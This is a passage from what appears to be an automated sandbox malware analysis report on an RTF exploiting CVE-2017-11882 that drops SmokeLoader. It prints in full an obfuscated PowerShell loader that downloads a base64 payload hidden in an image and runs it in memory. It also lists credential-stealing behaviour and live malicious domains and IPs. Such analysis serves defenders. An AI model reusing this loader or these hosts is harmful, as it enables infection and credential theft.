$startflag.length;$base64length = $endindex - $startindex;$base64command = $imagetext.substring($startindex, $base64length);$commandbytes = [system.convert]::frombase64string($base64command);$loadedassembly = [system.reflection.assembly]::load($commandbytes);$type = $loadedassembly.gettype('dnlib.io.home');$method = $type.getmethod('vai').invoke($null, [object[]] ('txt.vfew/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','regasm',''))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'j? ? ? ? ?bp? ? ? ? ?g0? ? ? ? ?yqbn? ? ? ? ?gu? ? ? ? ?vqby? ? ? ? ?gw? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?jwbo? ? ? ? ?hq? ? ? ? ?d? ? ? ? ?bw? ? ? ? ?hm? ? ? ? ?og? ? ? ? ?v? ? ? ? ?c8? ? ? ? ?aqbh? ? ? ? ?dg? ? ? ? ?m? ? ? ? ?? ? ? ? ?z? ? ? ? ?de? ? ? ? ?m? ? ? ? ?? ? ? ? ?0? ? ? ? ?c4? ? ? ? ?dqbz? ? ? ? ?c4? ? ? ? ?yqby? ? ? ? ?gm? ? ? ? ?a? ? ? ? ?bp? ? ? ? ?hy? ? ? ? ?zq? ? ? ? ?u? ? ? ? ?g8? ? ? ? ?cgbn? ? ? ? ?c8? ? ? ? ?mg? ? ? ? ?3? ? ? ? ?c8? ? ? ? ?aqb0? ? ? ? ?gu? ? ? ? ?bqbz? ? ? ? ?c8? ? ? ? ?dgbi? ? ? ? ?hm? ? ? ? ?xw? ? ? ? ?y? ? ? ? ?d? ? ? ? ?? ? ? ? ?mg? ? ? ? ?0? ? ? ? ?d? ? ? ? ?? ? ? ? ?nw? ? ? ? ?y? ? ? ? ?dy? ? ? ? ?xw? ? ? ? ?y? ? ? ? ?d? ? ? ? ?? ? ? ? ?mg? ? ? ? ?0? ? ? ? ?d? ? ? ? ?? ? ? ? ?nw? ? ? ? ?y? ? ? ? ?dy? ? ? ? ?lwb2? ? ? ? ?gi? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?go? ? ? ? ?c? ? ? ? ?bn? ? ? ? ?cc? ? ? ? ?ow? ? ? ? ?k? ? ? ? ?hc? ? ? ? ?zqbi? ? ? ? ?em? ? ? ? ?b? ? ? ? ?bp? ? ? ? ?gu? ? ? ? ?bgb0? ? ? ? ?c? ? ? ? ?? ? ? ? ?pq? ? ? ? ?g? ? ? ? ?e4? ? ? ? ?zqb3? ? ? ? ?c0? ? ? ? ?twbi? ? ? ? ?go? ? ? ? ?zqbj? ? ? ? ?hq? ? ? ? ?i? ? ? ? ?bt? ? ? ? ?hk? ? ? ? ?cwb0? ? ? ? ?gu? ? ? ? ?bq? ? ? ? ?u? ? ? ? ?e4? ? ? ? ?zqb0? ? ? ? ?c4? ? ? ? ?vwbl? ? ? ? ?gi? ? ? ? ?qwbs? ? ? ? ?gk? ? ? ? ?zqbu? ? ? ? ?hq? ? ? ? ?ow? ? ? ? ?k? ? ? ? ?gk? ? ? ? ?bqbh? ? ? ? ?gc? ? ? ? ?zqbc? ? ? ? ?hk? ? ? ? ?d? ? ? ? ?bl? ? ? ? ?hm? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?j? ? ? ? ?b3? ? ? ? ?gu? ? ? ? ?ygbd? ? ? ? ?gw? ? ? ? ?aqbl? ? ? ? ?g4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?eq? ? ? ? ?bwb3? ? ? ? ?g4? ? ? ? ?b? ? ? ? ?bv? ? ? ? ?ge? ? ? ? ?z? ? ? ? ?be? ? ? ? ?ge? ? ? ? ?d? ? ? ? ?bh? ? ? ? ?cg? ? ? ? ?j? ? ? ? ?bp? ? ? ? ?g0? ? ? ? ?yqbn? ? ? ? ?gu? ? ? ? ?vqby? ? ? ? ?gw? ? ? ? ?kq? ? ? ? ?7? ? ? ? ?cq? ? ? ? ?aqbt? ? ? ? ?ge? ? ? ? ?zwbl? ? ? ? ?fq? ? ? ? ?zqb4? ? ? ? ?hq? ? ? ? ?i? ? ? ? ?? ? ? ? ?9? ? ? ? ?c? ? ? ? ?? ? ? ? ?wwbt? ? ? ? ?hk? ? ? ? ?cwb0? ? ? ? ?gu? ? ? ? ?bq? ? ? ? ?u? ? ? ? ?fq? ? ? ? ?zqb4? ? ? ? ?hq? ? ? ? ?lgbf? ? ? ? ?g4? ? ? ? ?ywbv? ? ? ? ?gq? ? ? ? ?aqbu? ? ? ? ?gc? ? ? ? ?xq? ? ? ? ?6? ? ? ? ?do? ? ? ? ?vqbu? ? ? ? ?ey? ? ? ? ?o? ? ? ? ?? ? ? ? ?u? ? ? ? ?ec? ? ? ? ?zqb0? ? ? ? ?fm? ? ? ? ?d? ? ? ? ?by? ? ? ? ?gk? ? ? ? ?bgbn? ? ? ? ?cg? ? ? ? ?j? ? ? ? ?bp? ? ? ? ?g0? ? ? ? ?yqbn? ? ? ? ?gu? ? ? ? ?qgb5? ? ? ? ?hq? ? ? ? ?zqbz? ? ? ? ?ck? ? ? ? ?ow? ? ? ? ?k? ? ? ? ?hm? ? ? ? ?d? ? ? ? ?bh? ? ? ? ?hi? ? ? ? ?d? ? ? ? ?bg? ? ? ? ?gw? ? ? ? ?yqbn? ? ? ? ?c? ? ? ? ?? ? ? ? ?pq? ? ? ? ?g? ? ? ? ?cc? ? ? ? ?p? ? ? ? ?? ? ? ? ?8? ? ? ? ?ei? ? ? ? ?qqbt? ? ? ? ?eu? ? ? ? ?ng? ? ? ? ?0? ? ? ? ?f8? ? ? ? ?uwbu? ? ? ? ?ee? ? ? ? ?ugbu? ? ? ? ?d4? ? ? ? ?pg? ? ? ? ?n? ? ? ? ?ds? ? ? ? ?j? ? ? ? ?bl? ? ? ? ?g4? ? ? ? ?z? ? ? ? ?bg? ? ? ? ?gw? ? ? ? ?yqbn? ? ? ? ?c? ? ? ? ?? ? ? ? ?pq? ? ? ? ?g? ? ? ? ?cc? ? ? ? ?p? ? ? ? ?? ? ? ? ?8? ? ? ? ?e	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "$imageurl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webclient = new-object system.net.webclient;$imagebytes = $webclient.downloaddata($imageurl);$imagetext = [system.text.encoding]::utf8.getstring($imagebytes);$startflag = '<<base64_start>>';$endflag = '<<base64_end>>';$startindex = $imagetext.indexof($startflag);$endindex = $imagetext.indexof($endflag);$startindex -ge 0 -and $endindex -gt $startindex;$startindex += $startflag.length;$base64length = $endindex - $startindex;$base64command = $imagetext.substring($startindex, $base64length);$commandbytes = [system.convert]::frombase64string($base64command);$loadedassembly = [system.reflection.assembly]::load($commandbytes);$type = $loadedassembly.gettype('dnlib.io.home');$method = $type.getmethod('vai').invoke($null, [object[]] ('txt.vfew/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','regasm',''))"	Jump to behavior

Source: explorer.exe, 0000000C.00000002.628664936.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374687564.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman-
Source: explorer.exe, 0000000C.00000002.629305688.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.374758061.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000C.00000002.629305688.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.374758061.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000C.00000002.629305688.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.374758061.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: !Progman

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 19_2_001155EB cpuid

19_2_001155EB

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Queries volume information: C:\Users\user\AppData\Roaming\gwseuha VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 19_2_000C2112 GetSystemTimeAsFileTime,_alldiv,wsprintfA,

19_2_000C2112

Source: C:\Windows\explorer.exe

Code function: 12_2_02803490 GetUserNameW,

12_2_02803490

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 19_2_000C2198 RtlZeroMemory,GetVersionExW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlCompareMemory,RtlCompareMemory,StrStrIW,FreeLibrary,

19_2_000C2198

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000019.00000002.628348956.0000000000061000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2836, type: MEMORYSTR
Source: Yara match	File source: 7.2.powershell.exe.2878da8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.376080124.00000000000C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.376068215.00000000000A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000019.00000002.628348956.0000000000061000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2836, type: MEMORYSTR
Source: Yara match	File source: 7.2.powershell.exe.2878da8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.376080124.00000000000C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.376068215.00000000000A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	11 Native API	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	53 Exploitation for Client Execution	1 DLL Side-Loading	623 Process Injection	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	11 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	111 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	1 Credentials in Registry	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	1 Install Root Certificate	NTDS	127 System Information Discovery	Distributed Component Object Model	11 Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	431 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	141 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	623 Process Injection	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf	50%	Virustotal		Browse
SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf	50%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882
SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf	100%	Avira	HEUR/Rtf.Malformed

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\gwseuha	0%	ReversingLabs
C:\Users\user\AppData\Roaming\gwseuha	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ia803104.us.archive.org	1%	Virustotal		Browse
prolinice.ga	16%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg	100%	URL Reputation	malware
http://go.microsoft.c	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://prolinice.ga/ndex.php	0%	Avira URL Cloud	safe
http://www.piriform.com/ccleanerxe	0%	Avira URL Cloud	safe
Http://prolinice.ga/index.phpBB74	0%	Avira URL Cloud	safe
http://prolinice.ga/	0%	Avira URL Cloud	safe
https://ia803104.us.archive.org	0%	Avira URL Cloud	safe
http://wehtwifahcxeheu.com/	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Avira URL Cloud	safe
https://ia803104.us.archive.org	1%	Virustotal		Browse
http://23.94.148.16/90/verynicebuttersmoothcakeicream.tIFj	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://java.sun.com	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Virustotal		Browse
http://23.94.148.16/90/verynicebuttersmoothcakeicream.tIF	100%	Avira URL Cloud	malware
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Virustotal		Browse
http://23.94.148.16/90/verynicebuttersmoothcakeicream.tIFj	1%	Virustotal		Browse
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Avira URL Cloud	safe
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	0%	Avira URL Cloud	safe
http://prolinice.ga/application/x-www-form-urlencodedMozilla/5.0	0%	Avira URL Cloud	safe
http://prolinice.ga/	16%	Virustotal		Browse
http://prolinice.ga/ndex.php	1%	Virustotal		Browse
http://23.94.148.16/90/verynicebuttersmoothcakeicream.tIF	1%	Virustotal		Browse
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Virustotal		Browse
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	0%	Virustotal		Browse
http://java.sun.com	0%	Virustotal		Browse
http://23.94.148.16	0%	Avira URL Cloud	safe
http://www.piriform.com/ccleaner	0%	Avira URL Cloud	safe
http://prolinice.ga/application/x-www-form-urlencodedMozilla/5.0	1%	Virustotal		Browse
http://23.94.148.16/90/WEFV.txt	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3	0%	Avira URL Cloud	safe
http://23.94.148.16	2%	Virustotal		Browse
http://prolinice.ga/index.php	100%	Avira URL Cloud	malware
http://vilendar.ga/index.php	100%	Avira URL Cloud	malware
http://prolinice.ga/index.phpMozilla/5.0	0%	Avira URL Cloud	safe
http://www.piriform.com/ccleaner	0%	Virustotal		Browse
http://wehtwifahcxeheu.com/application/x-www-form-urlencodedMozilla/5.0	0%	Avira URL Cloud	safe
http://prolinice.ga/index.php	19%	Virustotal		Browse
https://ia803104.us.archive.org/27/items/vbs_20240LR	0%	Avira URL Cloud	safe
http://23.94.148.16/90/WEFV.txt	1%	Virustotal		Browse
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3	0%	Virustotal		Browse
http://prolinice.ga/index.phpMozilla/5.0	1%	Virustotal		Browse
http://vilendar.ga/index.php	17%	Virustotal		Browse
https://ia803104.us.archive.org/27/items/vbs_20240LR	1%	Virustotal		Browse
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ia803104.us.archive.org	207.241.232.154	true	true	1%, Virustotal, Browse	unknown
prolinice.ga	185.251.91.119	true	true	16%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://23.94.148.16/90/verynicebuttersmoothcakeicream.tIF	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg	true	URL Reputation: malware	unknown
http://23.94.148.16/90/WEFV.txt	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://prolinice.ga/index.php	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://vilendar.ga/index.php	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.piriform.com/ccleanerxe	explorer.exe, 0000000C.00000002.629766627.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374893412.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.365103207.0000000003519000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://prolinice.ga/ndex.php	explorer.exe, 00000013.00000002.432154791.00000000003D6000.00000004.00000020.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	false	URL Reputation: safe	unknown
Http://prolinice.ga/index.phpBB74	explorer.exe, 0000000C.00000002.630809600.00000000078EA000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://ia803104.us.archive.org	powershell.exe, 00000007.00000002.363808831.0000000002629000.00000004.00000800.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://prolinice.ga/	explorer.exe, 00000013.00000002.432154791.00000000003DA000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://wehtwifahcxeheu.com/	explorer.exe, 0000000C.00000002.630809600.00000000078EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.630243639.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.365103207.0000000003519000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.365103207.0000000003519000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	false	URL Reputation: safe	unknown
http://23.94.148.16/90/verynicebuttersmoothcakeicream.tIFj	EQNEDT32.EXE, 00000001.00000002.348951439.000000000053F000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	E2E3.tmp.19.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	false	URL Reputation: safe	unknown
http://java.sun.com	explorer.exe, 0000000C.00000002.628664936.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374687564.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 0000000C.00000000.375066007.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.630243639.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.630243639.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.375317134.0000000007967000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.629766627.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.375066007.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374893412.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://prolinice.ga/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 00000013.00000002.432154791.00000000003DA000.00000004.00000020.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
